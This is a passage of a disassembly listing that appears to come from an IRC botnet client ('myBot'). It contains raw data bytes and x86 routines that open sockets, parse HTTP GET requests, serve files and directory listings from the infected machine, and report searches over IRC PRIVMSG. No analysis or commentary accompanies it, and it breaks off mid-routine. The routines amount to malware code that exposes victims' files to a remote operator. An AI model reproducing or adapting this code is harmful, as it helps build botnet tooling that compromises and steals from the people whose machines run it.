0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2E166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2680000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2690579h test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA2C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43381C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337F4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2740000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 273143Ch nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi call near ptr 26F0000h nop pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26A04DCh push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AA8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2710A4Eh mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2740B0Ch nop push esi mov [ebp+var_330], eax nop call near ptr 26708E6h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A74 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call near ptr 26905D4h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call near ptr 2690579h nop jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C nop call near ptr 2690CE2h push eax lea eax, [ebp+var_8C4] push offset unk_433A3C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push 